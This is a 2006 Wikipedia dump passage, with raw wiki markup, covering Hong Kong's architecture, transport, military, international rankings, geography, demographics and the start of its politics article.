Due to the [[creative destruction]] so endemic to Hong Kong over the past 50 years, few historical buildings remain in Hong Kong. Instead the city has become a centre for [[modern architecture]], especially in and around [[Central and Western district|Central]]. The tall business buildings of Central comprise the skyline along the coast of the [[Victoria Harbour]], which is one of Hong Kong's famous tourist attractions. In [[Kowloon]], which once included the anarchistic settlement called the [[Kowloon Walled City]], strict height restrictions were in force until [[Kai Tak Airport]] closed in 1998, but these restrictions have now been lifted, and several new skyscrapers in Kowloon are being planned.

Hong Kong's best-known building is arguably [[I. M. Pei|Ieoh Ming Pei]]'s [[Bank of China Tower]], completed in 1990 and now Hong Kong's third tallest skyscraper. The building attracted heated controversy from the start, as its sharp angles were said to cast negative [[feng shui]] energy into the heart of Hong Kong. Predating the Bank of China Tower, another well-known structure is the [[HSBC Hong Kong headquarters building|HSBC Headquarters Building]], finished in 1985. This building is featured on many of [[Hong Kong banknotes|Hong Kong's banknote]]s. It was built on the site of Hong Kong's first skyscraper, which was finished in 1935 and was the subject of a bitter heritage [[Architectural conservation|conservation]] struggle in the late 1970s.

One of the largest construction projects in Hong Kong and the world was the new [[Hong Kong International Airport]] on [[Chek Lap Kok]] near [[Lantau]], a huge land reclamation project linked to the centre of Hong Kong by the [[Lantau Link]], which features three new major [[bridge]]s: the world's [[List of largest suspension bridges|sixth largest]] [[suspension bridge]], [[Tsing Ma Bridge|Tsing Ma]], the world's longest [[cable-stayed bridge]] carrying both road and railway traffic, [[Kap Shui Mun Bridge|Kap Shui Mun]], and the world's first major 4-span cable-stayed bridge, [[Ting Kau Bridge|Ting Kau]].

==Transport==
[[Image:Hong Kong Airport Inside.JPG|thumb|250px||right|Departure hall at [[Hong Kong International Airport]].]]
[[Image:HongKongBuses.jpg|thumb|right|250px|Single and double-decker buses [[Citybus (Hong Kong)|Citybus]], [[New World First Bus]] at [[Wan Chai Pier]] bus terminus.]]
{{main|Transport in Hong Kong}}

Hong Kong has a highly developed and sophisticated [[transport]] network, encompassing both [[public transport|public]] and private transport. The [[Octopus card]] stored value [[smart card]] payment system can be used to pay for fares on almost all railways, buses and ferries in Hong Kong. All [[parking meter]]s in Hong Kong only accept payment by Octopus card, and Octopus card payment can be made at various carparks.

Hong Kong Island is dominated by steep, hilly terrain, which required the development of unusual methods of transport up and down the slopes.  In [[Central and Western district]] there is an extensive system of [[escalator|escalators]] and [[moving sidewalk|moving sidewalks]], including the longest outdoor covered elevator system in the world, the [[Central-Mid-Levels escalator|Mid-levels Escalator]].

Hong Kong has several different modes of public rail transport. The two [[metro]] systems for the city are the [[MTR]] and [[KCR]] (KCR also operates a [[light rail]] system in northwest New Territories), which are operated by the [[MTR Corporation Limited]] and the [[Kowloon-Canton Railway Corporation]] respectively. The [[Hong Kong Tramways|tramway system]] covers the northern parts of Hong Kong Island and is the only [[tram]] system in the world run exclusively with [[double decker]]s.

Five separate companies operate franchised public [[bus]] services in Hong Kong. Double-decker buses were introduced to Hong Kong in 1949. They are now used almost exclusively in Hong Kong just as in [[Dublin]], [[London]] and [[Singapore]]. However, single-decker buses remain in use for routes with lower demand or roads with lower carrying capacity and are used exclusively in South Lantau. Most normal franchised bus routes in Hong Kong operate until 1am in the morning. [[Public light bus|Public light buses]] run the length and breadth of Hong Kong, through areas where standard bus lines cannot reach or do not reach as frequently, quickly, or directly. [[Taxicab|Taxi]]s are also widely used throughout Hong Kong.  99% of taxis in Hong Kong run on liquefied petroleum gas, the rest are still diesel operated.

Most ferry services are provided by licensed ferry operators, which serve [[Islands of Hong Kong|outlying islands]], new towns, and inner-[[Victoria Harbour]]. The two routes operated by the [[Star Ferry]], operating for over 100 years, are franchised. Additionally, 78 &quot;[[kai-to]]&quot; ferries are licensed to serve remote coastal settlements.

Hong Kong has one active [[international airport]], known as [[Hong Kong International Airport]] located at [[Chek Lap Kok]].  This replaced the famous airport of the same name at [[Kai Tak International Airport|Kai Tak]] in 1998.  After dreadful delays in the cargo systems in the first few months, the airport now serves as a transport hub for [[Southeast Asia]], and as the hub for [[Cathay Pacific Airways]], [[Dragonair (airline)|Dragonair]], [[Air Hong Kong]] and [[Hong Kong Express]]. Additionally, both Hong Kong International Airport and [[Cathay Pacific Airways]] have been voted best in the world, in the airport and airline criteria respectively, by [[Skytrax]]  from 2001 to 2005. [[Hong Kong International Airport]] serves more than 36 million passengers in the year 2004.

Access to the airport includes 'Airport Express', 'CityFlyers' and 'Airbuses',  These services connect the airport to the rest of Hong Kong. The Airport Express zooms passengers to [[Central, Hong Kong|Central]] on Hong Kong Island in just 23 minutes. Recent opening of [[Sunny Bay (MTR)|Sunny Bay Station]] of the [[MTR]] allows easy access to the Disneyland Resort.

==Military==
[[Image:Hkgarrison.jpg|thumb|right|220px|The [[PLA Hong Kong Garrison|Hong Kong Garrison]] of the [[People's Liberation Army]] entering Hong Kong for the first time in 1997.]]
{{main|Military of Hong Kong}}

The PRC [[Central People's Government]] (CPG) assumed sovereignty over Hong Kong on [[1 July]] [[1997]] and stationed a [[garrison]] of the [[PLA Hong Kong Garrison|People's Liberation Army]] (PLA) to manage its defence affairs. Although the garrison has no military significance, the stationing of the PLA troops in the region is a significant symbol of the PRC government's resumption of sovereignty over Hong Kong.

According to the [[Basic Law]], military forces stationed in Hong Kong shall not interfere with local affairs; Hong Kong government shall remain responsible for the maintenance of public order. The Hong Kong Garrison, composed of [[army|ground]], [[navy|naval]], and [[air force]]s, is under the command of the Chinese [[Central Military Commission]]. The garrison subsequently opened the barracks on [[Stonecutters Island]] and [[Stanley, Hong Kong|Chek Chu]] to the public to promote understanding and trust between the troops and residents.

Under British rule, ethnic Chinese Hongkongers were allowed to join the [[British Forces Overseas Hong Kong|British defence forces]].  However, since the handover in 1997, they were no longer allowed to join the PLA.

==International rankings==
* [[A.T. Kearney]]/[[Foreign Policy|Foreign Policy Magazine]]: [http://www.atkearney.com/main.taf?p=5,4,1,116 Globalization Index 2005], not ranked out of 62 countries
* [[Heritage Foundation]]/[[The Wall Street Journal]]: [http://www.heritage.org/research/features/index/ 2005] [[Index of Economic Freedom]], ranked 1st out of 155 countries, for 11 years in a row.
* [[IMD International]]: [http://www01.imd.ch/wcy/ World Competitiveness Yearbook 2005], ranked 2nd out of 60 economies (countries and regions)
* [[Reporters without borders]]: [http://www.rsf.fr/article.php3?id_article=11715 Third annual worldwide press freedom index (2004)], ranked 34th out of 167 countries
* [[Save the Children]]: [http://www.savethechildren.org/mothers/report_2005/ State of the World's Mothers 2005], not ranked out of 110 countries
* [[Skyline]]: [http://www.emporis.com/en/bu/sk/st/sr/], ranked 1st out of all cities of the world
* [[The Economist]]: [http://www.economist.com/theworldin/international/displayStory.cfm?story_id=3372495&amp;d=2005 The World in 2005 - Worldwide quality-of-life index, 2005], ranked 18th out of 111 countries
* [[Transparency International]]: [http://www.transparency.org/pressreleases_archive/2004/2004.10.20.cpi.en.html Corruption Perceptions Index 2004], ranked 16th out of 146 countries
* [[United Nations Development Programme]]: [http://hdr.undp.org/reports/global/2004/ Human Development Index 2004], ranked 23rd out of 177 countries
* [[World Economic Forum]]: [http://www.weforum.org/site/homepublic.nsf/Content/Global+Competitiveness+Programme%5CGlobal+Competitiveness+Report Global Competitiveness Report 2004-2005 - Growth Competitiveness Index Ranking], ranked 21st out of 104 countries

==References==
* ''A Borrowed Place: The History of Hong Kong''. Frank Welsh. Kodansha America. [[1 October]] [[1993]]. 624 pages. ISBN 1568360029.
* ''Hong Kong's History: State and Society Under Colonial Rule (Asia's Transformations)''. Tak-Wing Ngo. Routledge. [[1 August]] [[1999]]. 205 pages. ISBN 0415208688.
* ''The Cinema of Hong Kong: History, Arts, Identity''. Poshek Fu, David Deser. [[Cambridge University Press]]. [[25 March]] [[2002]]. 346 pages. ISBN 0521776023.
* ''A Modern History of Hong Kong''. Steve Tsang. I. B. Tauris. [[14 May]] [[2004]]. 356 pages. ISBN 1860641849.
* ''An Outline History of Hong Kong''. Liu Shuyong. 291 pages. ISBN 7119019465.
* ''Forts and Pirates - A History of Hong Kong''. Hong Kong History Society. Hyperion Books. December 1990. ISBN 9627489018.

==Footnotes==
# {{note|elected}} [http://news.bbc.co.uk/2/hi/asia-pacific/4094248.stm BBC News: Donald Tsang set to be HK leader]
# {{note|POO}} [http://www.corpun.com/hkjur4.htm Hong Kong Public Order Ordinance]
# {{note|shelved}} [http://www.democracy.org.hk/EN/may1999/law_05.htm Presentation to Legislative Council on Right of Abode Issue]
# {{note|draftedlaw}} [http://www.immd.gov.hk/ehtml/hksarvepid.htm HKSAR Immigration Department: Right of Abode in HKSAR - Verification of Eligibility for Permanent Identity Card]
# {{note|controversies}} [http://www.flyingchair.net/story.php?storyID=178 Hong Kong Government may delay universal suffrage]
# {{note|shifted}} [http://www.t-salon.net/2004/10/hong-kong-calls-for-universal.html T-Salon: Hong Kong: Calls for Universal Suffrage Unabated]
# {{note|issue}} [http://europa.eu.int/comm/external_relations/hong_kong/intro/ip01_1094.htm Third annual report by the European Commission on the Hong Kong Special Administrative Region]
#{{note|extremes}} [http://www.mherrera.org/temp.htm Extreme temperatures]
#{{note|visit}} [http://www.abc.net.au/news/newsitems/200509/s1467927.htm Hong Kong democrats visit China] - [[ABC News|ABC News Online]]. Retrieved [[September 25]], [[2005]].
# {{note|10th}} [http://www.info.gov.hk/info/hkbrief/eng/ahk.htm Hong Kong Information: About Hong Kong]
# {{note|11th}} [http://www.century21-hk.com/eng/page8_p1.htm Century21: Learn About Hong Kong]
# {{note|86.5}} [http://strategis.ic.gc.ca/epic/internet/inimr-ri.nsf/en/gr118382e.html Hong Kong Country Commercial Guide 2004: Economic Trends]
# {{note|24,626}} [http://www.nationmaster.com/encyclopedia/Hong-Kong Nationmaster: Hong Kong]
# {{note|5percent}} [http://www.sinomedia.net/eurobiz/v200403/regional0403.html Sinomedia: Hong Kong Turnaround]
# {{note|deflation}} [http://www.guinnessworldrecords.com/gwr5/content_pages/record.asp?recordid=46682 Guinness World Records: Lowest Inflation]
# {{note|.94}} [http://www.indexmundi.com/hong_kong/total_fertility_rate.html Hong Kong Total Fertility Rate]
# {{note|reported}} [http://www.hktrader.net/200111/200104/200104s1.htm Chief Executive pledges a clean, green, world-class city]
# {{note|60percent}} [http://www.auick.org/database/workshop/1998/07/003/001.html The Fifth Group Training Course on Integrated Urban Policy 1998]
# {{note|95percent}} [http://www.accomasia.com/hongkong/country.htm Hong Kong in a Nutshell]

==External links==
{{Spoken Wikipedia|En-Hong Kong.ogg|2005-08-30}}
{{portal}}
{{sisterlinks|Hong Kong}}
* {{wikicities|hongkong|Hong Kong}}
* {{wikitravel|Hong Kong}}

===Government===
&lt;!-- Wikipedia is not a web directory.  This is not the place for personal sites, commercial advertisements or communities requiring membership/subscriptions. --&gt;
*[http://www.info.gov.hk/ Hong Kong SAR Government Information Centre] - official HKSARG site
*[http://www.districtcouncils.gov.hk/ District Councils] - official district councils site
*[http://www.info.gov.hk/hkfacts/facts_e.htm Hong Kong Fact Sheets] - quick facts about Hong Kong
*[http://www.legco.gov.hk/ Hong Kong Legislative Council] - site of the legislative body
*[http://www.discoverhongkong.com/ Discover Hong Kong] - official site of the Hong Kong Tourism Board

===Newspapers and media===
&lt;!-- Wikipedia is not a web directory.  This is not the place for personal sites, commercial advertisements or communities requiring membership/subscriptions. --&gt;
*[http://www.metrohk.com.hk/ Metro Newspaper, Hong Kong edition]
*[http://www.rthk.org.hk Radio Television of Hong Kong] - public broadcaster
*[http://www.scmp.com/ South China Morning Post] - English-language newspaper
*[http://www.thestandard.com.hk/ The Standard] - English-language business newspaper

===Maps===
&lt;!-- Wikipedia is not a web directory.  This is not the place for personal sites, commercial advertisements or communities requiring membership/subscriptions. --&gt;
*[http://www.centamap.com/ CentaMap]
*[http://hkgteam.com/~moming/ Google HK Map] - combining Google satellite maps with CentaMap

===Photos===
&lt;!-- Wikipedia is not a web directory.  This is not the place for personal sites, commercial advertisements or communities requiring membership/subscriptions. --&gt;
*[http://www.flickr.com/photos/tags/hongkong/ Flickr] - photos tagged with Hong Kong
*[http://www.globalphotos.org/hongkong.htm Global Photos] - gallery of Hong Kong photos

===Guides and directories===
&lt;!-- Wikipedia is not a web directory.  This is not the place for personal sites, commercial advertisements or communities requiring membership/subscriptions. --&gt;
*[http://www.offshoreincorporation101.com/hong-kong-banks.html Banks] - directory of banks
*[http://www.foodeasy.com/en/index.php Foodeasy] - guide to restaurants
*[http://www.geoexpat.com/ GeoExpat] - magazine for expats
*[http://www.hongkong.alloexpat.com/information_center_hongkong.php HK Allo' Expat] - expat guide
*[http://www.hkoutdoors.com/ HK Outdoors] - about Hong Kong's countryside
*[http://www.uncoverchina.com/ Uncover China] - search directory
*[http://www.asiaexpat.info/ Asia Expat Hong Kong] - expat meeting place

{{Hong Kong Topics}}
{{Provinces of China}}
&lt;br&gt;
{{East Asia}}
&lt;br&gt;
{{Asia}}

[[Category:Cities in China]]
[[Category:Coastal cities]]
[[Category:Former British colonies]]
[[Category:Hong Kong| ]]
[[Category:Pearl River Delta]]
[[Category:Special territories]]

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{{link FA|zh}}

[[ar:هونغ كونغ]]
[[an:Hong Kong]]
[[zh-min-nan:Hiong-káng]]
[[ca:Hong Kong]]
[[cs:Hongkong]]
[[cy:Hong Kong]]
[[da:Hongkong]]
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[[el:Χονγκ Κονγκ]]
[[es:Hong Kong]]
[[eo:Honkongo]]
[[fa:هنگ‌کنگ]]
[[fr:Hong Kong]]
[[gl:Hong Kong - 香港]]
[[ko:홍콩]]
[[hi:होन्ग कोन्ग]]
[[io:Hong Kong]]
[[id:Hong Kong]]
[[ilo:Hong Kong]]
[[ia:Hong Kong]]
[[is:Hong Kong]]
[[it:Hong Kong]]
[[he:הונג קונג]]
[[jv:Hong Kong]]
[[ka:ჰონკონგი]]
[[lt:Honkongas]]
[[lb:Hong Kong]]
[[li:Hong Kong]]
[[hu:Hongkong]]
[[mi:Hongipua]]
[[ms:Hong Kong]]
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[[ja:香港]]
[[no:Hongkong]]
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[[pt:Hong Kong]]
[[ro:Hong Kong]]
[[ru:Гонконг]]
[[sq:Hong Kong]]
[[sh:Hong Kong]]
[[simple:Hong Kong]]
[[sk:Hong Kong]]
[[sl:Hong Kong]]
[[sr:Хонг Конг]]
[[fi:Hongkong]]
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[[th:เขตบริหารพิเศษฮ่องกง]]
[[vi:Hồng Kông]]
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[[uk:Гонконг]]
[[zh:香港]]</text>
    </revision>
  </page>
  <page>
    <title>Geography of Hong Kong</title>
    <id>13406</id>
    <revision>
      <id>39299145</id>
      <timestamp>2006-02-12T04:37:05Z</timestamp>
      <contributor>
        <username>HenryLi</username>
        <id>149793</id>
      </contributor>
      <comment>/* Environment */</comment>
      <text xml:space="preserve">{{Geography_of_Hong_Kong}}

The name '''[[Hong Kong]]''', literally meaning ''fragrant harbour'', is derived from the area around present-day [[Aberdeen, Hong Kong|Aberdeen]] and [[Wong Chuk Hang]] on [[Hong Kong Island]], where fragrant trees were once abundant and exported. The Hong Kong Island is located in the [[South China Sea]] at the mouth of the [[Pearl River]] (Zhu Jiang). Other territories that were added later include the [[Kowloon Peninsula]] (south of [[Boundary Street]]) and the [[New Territories]]. The New Territories includes over 200 surrounding smaller islands. The body of water between Hong Kong Island and Kowloon Peninsula is [[Victoria Harbour]], one of the deepest maritime ports in the world. The landscape of Hong Kong is fairly hilly to mountainous with steep slopes. The highest point in the territory is [[Tai Mo Shan]], at a height of 958 metres. Lowlands exist in the northwestern part of the New Territories.

Hong Kong is 60 km to the east of [[Macau]] on the opposite side of the [[Pearl River estuary]]. Hong Kong has a land border with the Chinese city of [[Shenzhen]] to the north. Of the territory's 1,102 square kilometres, only less than 25 percent is developed. The remaining land has been reserved as country parks and nature reserves.

Hong Kong's climate is [[subtropical]] and prone to [[monsoon]]s. It is cool and dry in the wintertime which lasts from around January to March, and is hot and rainy from spring through summer. It is warm, sunny, and dry in autumn. It is often stated that spring and autumn are not clear-cut.  Hong Kong occasionally has [[typhoon]]s. The ecology of Hong Kong is mostly affected by the results of climatic changes. Hong Kong's climate is seasonal due to alternating wind direction between winter and summer. Hong Kong has been geologically stable for millions of years. However, flora and fauna in Hong Kong are altered by climatic change, sea level alternation and human impact. The highest recorded temperature in Hong Kong is 40 degrees Celsius while the lowest recorded temperature is 0 degrees Celsius.

See Also: [[Hong_Kong#Geography|The '''Geography''' section in the article about Hong Kong]]


== Geographical information ==

===Location===
Eastern [[Asia]], on the south coast of [[China]], facing the [[South China Sea]]

===Geographic coordinates===
{{coor dm|22|15|N|114|10|E|}}

[[Image:HongKong&amp;AsiaPacificLatitude.jpg|center|thumb|650px|The map shows the location of Hong Kong within China and the Asia Pacific area.]]


===Area===
&lt;br&gt;''total:'' 1,092 km&amp;sup2;
&lt;br&gt;''land:'' 1,042 km&amp;sup2;
&lt;br&gt;''water:'' 50 km&amp;sup2;

[[Image:Hk-map.png|right|thumb|250px|Hong Kong borders the city of [[Shenzhen]] in [[Guangdong]] Province.]]

===Land boundaries===
&lt;br&gt;''total:'' 30 km
&lt;br&gt;''border city:'' [[Shenzhen]] [[Special Economic Zone]], [[Guangdong]] [[Province]]


===Coastline===
733 km
&lt;br&gt;'''Maritime claims:'''
&lt;br&gt;''territorial sea:'' 3 nm

Total sea area of Hong Kong (including [[Victoria Harbour]]): 1652.21 km&amp;sup2;.

===Climate===
Tropical [[monsoon]]; cool and humid in winter, hot and rainy from spring through summer, warm and sunny in fall

Average temperature: 23 degree Celsius
&lt;br&gt;Average annual precipitation: 2,214 mm

''See also: [[Climate of Hong Kong]]''

===Terrain===
hilly to mountainous with steep slopes; lowlands in north

===Elevation extremes===
&lt;br&gt;''lowest point:'' South China Sea, 0 m
&lt;br&gt;''highest point:'' [[Tai Mo Shan]], 958 m, in the [[New Territories]]

===Principal peaks of Hong Kong===
''Main article: [[List of mountains, peaks and hills in Hong Kong]]''

# Tai Mo Shan - 958 m
# [[Lantau Peak]] (Fung Wong Shan) - 934 m, on [[Lantau Island]]
# [[Sunset Peak]] (Tai Tung Shan) - 869 m, on Lantau Island
# [[Ma On Shan]] - 702 m
# [[Wong Leng]] - 639 m
# [[Kowloon Peak]] (Fei Ngo Shan) - 602 m
# [[Castle Peak, Hong Kong|Castle Peak]] - 583 m
# [[Tate's Cairn]] (Tai Lo Shan) - 577 m
# [[Kai Kung Leng]] - 572 m
# [[Tai To Yan]] - 566 m
# [[Victoria Peak]] - 552 m, on [[Hong Kong Island]]
# [[Needle Hill]] - 532 m
# [[Mount Parker (Hong Kong)|Mount Parker]] - 532 m
# [[Lion Rock]] - 495 m
# [[High West]] - 494 m
# [[Sharp Peak]] (Nam She Tsim) - 468 m
# [[Beacon Hill, Hong Kong|Beacon Hill]] - 457 m
# [[Violet Hill]] - 433 m
# [[High Junk Peak]] (Tiu Yue Yung) - 344 m

===Natural resources===
outstanding deepwater harbour, [[feldspar]]

===Land use===
&lt;br&gt;''arable land:'' 6%
&lt;br&gt;''permanent crops:'' 1%
&lt;br&gt;''permanent pastures:'' 1%
&lt;br&gt;''forests and woodland:'' 20%
&lt;br&gt;''other:'' 72% (1997 est.)
&lt;br&gt;'''Irrigated land:''' 20 km&amp;sup2; (1997 est.)

===Natural hazards===
occasional [[typhoon]]s

===Environment===
====current issues====
*[[Air pollution|air]] and [[water pollution]] from rapid urbanization
*Exploration of natural species by mainland Chinese

''See also: [[Ecology of Hong Kong]]''

===Geography - note===
[[Islands of Hong Kong|235 islands]] including Hong Kong Island, [[Lantau Island]], [[Cheung Chau]], [[Lamma Island]], [[Peng Chau]] and [[Tsing Yi Island]].

==See also==
{{Life in Hong Kong}}
* [[Hong Kong]]
* [[Hong Kong Country Parks &amp; Special Areas]]
* [[Beaches of Hong Kong]]
* [[List of rivers in Hong Kong]]
* [[Shing Mun River]]
* [[List of bays in Hong Kong]]
* [[List of buildings, sites and areas in Hong Kong]]
* [[Geography of China]]


{{Asia in topic|Geography of}}
==External links==
* [http://www.info.gov.hk/landsd/index.htm The Lands Department of the Governement of Hong Kong]
*[http://hkwaterfall.net/hk_falls/hkwf_mnp.htm Waterfalls in Hong Kong]

[[Category:Geography of Hong Kong| ]]

[[ru:Географические данные Гонконга]]
[[zh:香港地理]]</text>
    </revision>
  </page>
  <page>
    <title>Demographics of Hong Kong</title>
    <id>13407</id>
    <revision>
      <id>41335836</id>
      <timestamp>2006-02-26T17:54:52Z</timestamp>
      <contributor>
        <username>HongQiGong</username>
        <id>986621</id>
      </contributor>
      <text xml:space="preserve">{{Demographics of Hong Kong}}

The population of [[Hong Kong]] increased steadily over the last decade of the [[1990s]], reaching about 7.1 million by 2000. Hong Kong is one of the [[List of countries by population density|most densely populated areas in the world]], with an overall density of some 6,300 people per square kilometre. The population density with respect to built-up areas would be even higher, as only a small proportion of land is developed. Despite the population density, Hong Kong is reported to be one of the greenest cities in [[Asia]], with the majority of people living in [[apartment]]s in [[skyscraper|high-rise buildings]], and most land reserved for [[open space]]s, [[country park]]s, and [[woodland]]. The vertical placement of the population explains why the general description of Hong Kong as a ''densely populated, green city'' is not an [[oxymoron]].

==Population==
:7,500 (census in 1841 est.)
:849,800 (census 1931)
:750,000 (1945)
:6,900,000 (2003, UN)

'''Age structure:'''
&lt;br&gt;''0-14 years:'' 18% (male 676,756; female 602,434)
&lt;br&gt;''15-64 years:'' 71% (male 2,520,473; female 2,563,355)
&lt;br&gt;''65 years and over:'' 11% (male 342,942; female 410,342) (2000 est.)
&lt;br&gt;''Average age:'' 34

'''Population growth rate:''' 1.35% (2000 est.)
&lt;br&gt;'''Birth rate:''' 11.29 births/1,000 population (2000 est.)
&lt;br&gt;'''Death rate:''' 5.93 deaths/1,000 population (2000 est.)
&lt;br&gt;'''Net migration rate:''' 8.12 migrant(s)/1,000 population (2000 est.)

'''Sex ratio:'''
&lt;br&gt;''at birth:'' 1.07 male(s)/female
&lt;br&gt;''under 15 years:'' 1.12 male(s)/female
&lt;br&gt;''15-64 years:'' 0.98 male(s)/female
&lt;br&gt;''65 years and over:'' 0.84 male(s)/female
&lt;br&gt;''total population:'' 0.99 male(s)/female (2000 est.)

'''Average marriage age:'''
&lt;br&gt;''male:'' 30
&lt;br&gt;''female:'' 27

'''Infant mortality rate:''' 5.93 deaths/1,000 live births (2000 est.)

'''Life expectancy at birth:'''
&lt;br&gt;''total population:'' 79.54 years
&lt;br&gt;''male:'' 76.85 years
&lt;br&gt;''female:'' 82.41 years (2000 est.)

'''Total fertility rate:''' 1.27 children born/woman (2000 est.)

'''[[Nationality]]:'''
&lt;br&gt;''noun:'' Chinese&lt;br&gt;residents are called Hongkongers

'''[[Ethnic group]]s:''' Chinese 95%, other 5%

==Religions==
{{main|Religion in Hong Kong}}
[[Image:Church HK Central Filipino.jpg|thumb|right|250px|[[Filipinos in Hong Kong|Filipino Catholics]] moving out of the [[St Joseph Church]] after a Sunday service in Central.]]
Religion plays an important role in the [[culture of Hong Kong]]. [[Religious freedom]] is one of the fundamental rights enjoyed by Hong Kong residents. It is protected by the [[Basic Law]] and the relevant legislation. There are a large variety of religious groups in the Hong Kong, including [[Buddhism]], [[Taoism]], [[Confucianism]], [[Christianity]], [[Islam]], [[Hinduism]], [[Sikhism]] and [[Judaism]]. All of these groups have a considerable number of adherents. Apart from offering religious instructions, many major religious bodies have established schools and provided [[social welfare]] facilities.

There are five major festivals in the [[Chinese calendar]], with the [[Chinese New Year|Lunar New Year]] being the most important. Gifts and visits are exchanged among friends and relatives and children receive [[lai see]], or ‘lucky money’. During the [[Ching Ming Festival]] in spring, ancestral graves are visited. In early summer (fifth day of the fifth lunar month), the [[Dragon Boat Festival|Tuen Ng Festival]] is celebrated with dragon boat races and by eating cooked [[glutinous rice]] wrapped in [[nelumbo|lotus]] leaves. The [[Mid-Autumn Festival]] falls on the 15th day of the eighth lunar month. Gifts of [[mooncake]]s, wine and fruit are exchanged and adults and children go into parks and the countryside at night with colourful [[lantern]]s. [[Chung Yeung]] is on the ninth day of the ninth lunar month, when many visit their ancestors’ graves or hike up mountains in remembrance of an ancient Chinese family’s escape from plague and death by fleeing to a mountain top.

==Languages==
[[Image:NathanRoadSign.jpg|thumb|250px|Road signs in Hong Kong are written in both Chinese and English.]]
[[Image:KCR East Tsim Sha Tsui station (2).jpg|thumb|right|250px|Multilingual greetings referring to &quot;Welcome to KCR&quot; (From the top: [[French language|French]], [[Japanese language|Japanese]], [[Spanish language|Spanish]] and [[Korean language|Korean]])]]
{{main|Languages of Hong Kong}}
Both [[Chinese language|Chinese]] and [[English language|English]] are [[official language]]s. Most Hong Kongers speak [[Cantonese (linguistics)|Cantonese]], specifically the [[Standard Cantonese|dialect]] originated from the areas around present-day [[Guangzhou]]. There are also speakers of other Chinese [[Chinese spoken languages|spoken variant]]s like [[Toisanese]], [[Chaozhou dialect|Teochiu]] and [[Hakka (linguistics)|Hakka]]. Although Cantonese is widely spoken in Hong Kong, [[Mandarin language|Mandarin]] is the official spoken Chinese variant throughout [[China]]. The number of Mandarin learners in Hong Kong had not been large before the [[transfer of the sovereignty of Hong Kong|handover]] of Hong Kong from the [[United Kingdom]] to the [[People's Republic of China]] (PRC) in [[1997]]. Some older people in Hong Kong, especially those living in [[walled villages of Hong Kong|walled]] and fishing [[list of villages in Hong Kong|village]]s, speak what are collectively called ''Waitau wah'' (圍頭話, ''lit.'' language used in walled village).

For [[written Chinese]], unlike [[mainland China]], where [[simplified Chinese character]]s are used, [[traditional Chinese character]]s are widely used, and is the de facto writing standard. But owing to the increasing number of tourists from mainland China, simplified Chinese characters are now more frequently used in Hong Kong. Simplified Chinese characters can be frequently found on posters, leaflets, flyers and road signs in the tourist areas in Hong Kong.

English is the major working language in Hong Kong, and is widely used in commercial activities and legal matters. Albeit the sovereignty of Hong Kong has been transferred to the [[People's Republic of China|PRC]] by the [[United Kingdom]] in 1997, English is still one of the [[official language]]s of the Hong Kong, and its official status is enshrined in the [[Basic Law of Hong Kong|Basic Law]].

Many Hong Kongers are literally [[bilingual]] when they speak, as their speech comprises both Cantonese and English. Usually the syntax of their discourse is Cantonese, while filled up with English words and phrases. Some people regard such a way of speaking mere affectation. Others confess that is the only way they can make themselves understood. The hybridization of Cantonese and English are often criticized as &quot;neither Chinese nor English&quot;, and the Cantonese speakers that incorporate too much English in Cantonese are regarded by people with opposite views as &quot;language-handicapped.&quot;

==Education==
[[Image:Compu class.gif|frame|right|A group of students having a computer lesson.]]
:''Main article: [[Education in Hong Kong]]''

Education in Hong Kong has a similar system to [[Education in the United Kingdom|that of the United Kingdom]], in particular the [[Education in England|English education system]], as [[Hong Kong]] was colonised by the [[United Kingdom|British]] from [[1841]] to [[1997]]. Following the introduction of the comprehensive school system in the 1960's in the UK, children in Hong Kong transformed from the old education system of entering a 'first' school (4 years) followed by a 'secondary-middle' school (4 years), then a 'secondary-high' school (3 + 2 years) to the 'new' education system of primary school (6 years) followed by secondary school (5 + 2 years).  The trend of late has been to replace 'first' schools with primary schools and accordingly, 'secondary-middle' and 'secondary-high' schools with fully-fledged secondary schools.

In Hong Kong there is a non-compulsory three-year kindergarten education followed by a legal requirement of a six-year primary education and three-year junior [[secondary education]]. It is then followed by  a non-compulsory two-year senior secondary education and two-year matriculation course leading to the Advanced Level examinations. There are also [[Tertiary education|tertiary institutions]] offering various bachelor's, master's and doctoral degrees, other higher diplomas and associate degree courses.

'''Literacy:'''	 
&lt;br&gt;''definition:''	 
age 15 and over has ever attended school	 
&lt;br&gt;''total population:''	 
92.2%	 
&lt;br&gt;''male:''	 
96%	 
&lt;br&gt;''female:''	 
88.2% (1996 est.)

==See also==
{{Life in Hong Kong}}
*[[Right of abode issue, Hong Kong]]

==External links==
*[http://www.demographia.com/db-hkhist.htm Hong Kong Population History]
*[http://www.info.gov.hk/censtatd/eng/hkstat/hkinf/population/population_index.html Hong Kong Census and Statistics Department &amp;mdash; Hong Kong statistics page (eg. see &quot;Hong Kong in Figures&quot;)]

[[category:Demographics of Hong Kong| ]]
 

[[es:Demografía de Hong Kong]]
[[ru:Население Гонконга]]
[[zh:香港人口]]</text>
    </revision>
  </page>
  <page>
    <title>Politics of Hong Kong</title>
    <id>13408</id>
    <revision>
      <id>41986842</id>
      <timestamp>2006-03-03T01:34:56Z</timestamp>
      <contributor>
        <username>Cmdrjameson</username>
        <id>101935</id>
      </contributor>
      <minor />
      <comment>sp (3): governement→government, remaing→remaining; unicodify</comment>
      <text xml:space="preserve">{{Politics of Hong Kong}}
On [[July 1]], [[1997]], [[Hong Kong]] was resumed to [[China|Chinese]] control, when the [[sovereignty]] of [[Hong Kong]] was transferred to the [[People's Republic of China]] (PRC), ending more than 150 years of [[British Empire|British]] [[colonialism|colonial]] control. Hong Kong is a [[Special Administrative Region]] (SAR) of the PRC with a high degree of autonomy in all matters except foreign and defense affairs. According to the [[Sino-British Joint Declaration]] ([[1984]]) and the [[Hong Kong Basic Law|Basic Law]] &amp;ndash; Hong Kong's mini-[[constitution]] &amp;ndash; for &quot;50 years&quot;, a slogan-type description, after transition Hong Kong will retain its political, economic, and judicial systems and unique way of life and continue to participate in international agreements and organisations as a dependent territory. For instance, the [[International Olympic Committee]] recognises Hong Kong as a participating dependency under the name, &quot;Hong Kong, China&quot;, separate from the [[Mainland China]]. 

==Overview==
Hong Kong is a [[special administrative region]] of the [[People's Republic of China]] (PRC). The government is economically very liberal and is rather [[democracy|democratic]] but with limited [[suffrage]] for special elections.  The head of government (the [[Chief Executive of Hong Kong]]) is not elected directly but through an [[Election Committee|electoral college]] which is partially appointed with the rest elected in special elections with limited suffrage. The [[Basic Law]] comprises the constitution, which was approved in March 1990 by [[National People's Congress]] of the (PRC).

On the other hand, the legal system of Hong Kong is generally based on the English [[common law]] system. The current legal system will stay in force until at least [[30 June]] [[2047]].

